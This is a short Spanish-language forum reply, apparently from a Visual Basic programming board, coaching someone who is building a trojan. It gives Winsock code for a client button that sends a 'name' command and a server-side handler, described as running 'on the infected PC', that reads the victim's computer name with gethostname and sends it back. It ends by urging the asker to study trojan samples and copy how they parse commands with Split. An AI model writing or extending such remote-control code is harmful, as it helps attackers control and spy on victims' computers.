Ok, ya te entendi
Mira tienes q hacer lo siguiente:
Desde el cliente (el q esta en tu pc) pones un boton q se llame nombre del pc por ejemplo y en su evento click haces q el winsokc envie la palabra "name" por ejemplo, seria algo asi:
ws.senddata "name
Ahora en tu servidor (el q esta en el pc infectado) donde recibes los datos del ws tienes q hacer un select case con los datos recibidos y en el case "name pones esto:
case "name":
Dim Nombre As String * 257
Dim WSAD As WSAData
WSAStartup &H101, WSAD
gethostname Nombre, 257
ws.senddata Nombre
Así lo q recibas en tu cliente será el nombre del pc remoto q puedes mostrar en un msgbox, un label o como tu veas
Si tienes mas dudas pregunta, o pega un poco de tu code y te digo donde ponerlo exactamente
Saludos
PD - Seria interesante q te miraras ejemplillos de troyanos e imites el uso q le dan a la funcion split en la llegada de datos